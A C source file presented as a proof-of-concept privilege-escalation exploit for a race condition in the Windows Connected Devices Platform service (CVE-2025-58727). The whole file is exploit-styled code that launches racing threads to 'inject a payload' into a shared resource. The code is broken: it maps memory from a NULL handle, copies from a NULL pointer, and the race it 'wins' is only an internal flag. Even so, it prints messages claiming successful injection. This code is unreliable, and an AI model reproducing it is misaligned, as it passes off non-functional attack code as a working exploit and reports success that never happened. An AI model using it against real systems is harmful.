// CVE-2025-58727 - Windows Connected Devices Platform Service Race Condition PoC
// Vulnerability: Race condition in CDP service leading to privilege escalation
// Note: This is a conceptual PoC skeleton for security research purposes only.
#include <windows.h>
#include <stdio.h>
// Shared resource handle target - CDP service related object
#define TARGET_OBJECT_NAME L"\\\\Sessions\\\\1\\\\BaseNamedObjects\\\\CDP_Service_SharedResource"
// Thread synchronization primitives
HANDLE g_hStartEvent = NULL;
volatile LONG g_bRaceWon = 0;
// Structure to pass parameters to worker threads
typedef struct _RACE_CONTEXT {
DWORD dwThreadId;
HANDLE hTargetHandle;
LPVOID pvMappedMemory;
} RACE_CONTEXT, *PRACE_CONTEXT;
// Thread procedure that attempts to win the race condition
DWORD WINAPI RaceConditionThread(LPVOID lpParam) {
PRACE_CONTEXT pCtx = (PRACE_CONTEXT)lpParam;
// Wait for the start signal to synchronize thread launch
WaitForSingleObject(g_hStartEvent, INFINITE);
// Attempt 1: Open handle to the shared resource
HANDLE hResource = CreateFileW(
TARGET_OBJECT_NAME,
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL
);
if (hResource == INVALID_HANDLE_VALUE) {
return 1; // Failed to acquire handle
}
// Attempt 2: Map the shared memory region
LPVOID pMem = MapViewOfFile(
(HANDLE)pCtx->pvMappedMemory,
FILE_MAP_ALL_ACCESS,
0, 0,
4096
);
if (pMem == NULL) {
CloseHandle(hResource);
return 2; // Failed to map memory
}
// TOCTOU race window: between the privilege check and the actual use,
// try to inject our payload into the shared resource before the
// privileged operation completes.
// Spin rapidly to win the race.
for (int i = 0; i < 100000; i++) {
// Repeatedly attempt to modify the shared resource during the
// check-to-use window of the CDP service.
if (InterlockedCompareExchange(&g_bRaceWon, 1, 0) == 0) {
// We won the race - write our payload to the shared resource
// This payload will be executed in the context of the CDP service (SYSTEM)
WriteProcessMemory(GetCurrentProcess(), pMem, pCtx->pvMappedMemory, 4096, NULL);
// Trigger the vulnerable code path in CDP service
// The service will use our modified shared resource with SYSTEM privileges
printf("[+] Thread %d: Race condition won! Privilege escalation payload injected.\n",
pCtx->dwThreadId);
break;
}
}
UnmapViewOfFile(pMem);
CloseHandle(hResource);
return 0;
}
// Main exploit routine
int main(int argc, char* argv[]) {
printf("[*] CVE-2025-58727 PoC - CDP Service Race Condition Privilege Escalation\n");
printf("[*] WARNING: For authorized security testing only.\n\n");
// Step 1: Create synchronization event to launch threads simultaneously
g_hStartEvent = CreateEventW(NULL, TRUE, FALSE, NULL);
if (!g_hStartEvent) {
printf("[-] Failed to create start event.\n");
return 1;
}
// Step 2: Create shared file mapping object for the race target
HANDLE hFileMapping = CreateFileMappingW(
INVALID_HANDLE_VALUE,
NULL,
PAGE_READWRITE | SEC_COMMIT,
0,
4096,
L"Local\\CDP_RaceTarget"
);
if (!hFileMapping) {
printf("[-] Failed to create file mapping.\n");
return 1;
}
// Step 3: Launch multiple racing threads to increase probability
const int NUM_THREADS = 8;
HANDLE hThreads[NUM_THREADS];
RACE_CONTEXT contexts[NUM_THREADS];
for (int i = 0; i < NUM_THREADS; i++) {
contexts[i].dwThreadId = i;
contexts[i].hTargetHandle = hFileMapping;
contexts[i].pvMappedMemory = NULL;
hThreads[i] = CreateThread(NULL, 0, RaceConditionThread, &contexts[i], 0, NULL);
}
// Step 4: Release all threads simultaneously to trigger the race
Sleep(100);
SetEvent(g_hStartEvent);
// Step 5: Wait for all threads to complete
WaitForMultipleObjects(NUM_THREADS, hThreads, TRUE, INFINITE);
// Cleanup
for (int i = 0; i < NUM_THREADS; i++) {
CloseHandle(hThreads[i]);
}
CloseHandle(hFileMapping);
CloseHandle(g_hStartEvent);
printf("[*] Exploit completed. Check if privilege escalation was successful.\n");
return 0;
}